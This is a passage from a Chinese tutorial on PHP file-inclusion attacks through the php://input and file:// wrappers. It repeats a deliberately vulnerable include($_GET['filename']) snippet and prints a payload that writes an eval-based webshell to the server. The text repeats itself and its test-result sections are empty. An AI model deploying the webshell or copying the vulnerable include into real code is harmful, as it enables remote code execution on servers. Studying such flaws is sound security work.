测试代码:
<?php $filename = $_GET[\'filename\']; include($filename); ?>可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。
用法:?file=php://input 数据利用POST传过去。
php://input (读取POST数据)碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;
测试代码:
<?php echo file_get_contents("php://input"); ?>测试结果:
测试代码:
<?php $filename = $_GET[\'filename\']; include($filename); ?>条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。
如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
<?PHP fputs(fopen(\'shell.php\',\'w\'),\'<?php @eval($_POST[cmd])?>\');?>测试结果:
如果不开启allow_url_include会报错:
测试代码:
<?php $filename = $_GET[\'filename\']; include($filename); ?>条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;
通过file协议可以访问本地文件系统,读取到文件的内容
测试代码:
<?php $filename = $_GET[\'filename\']; include($filename); ?>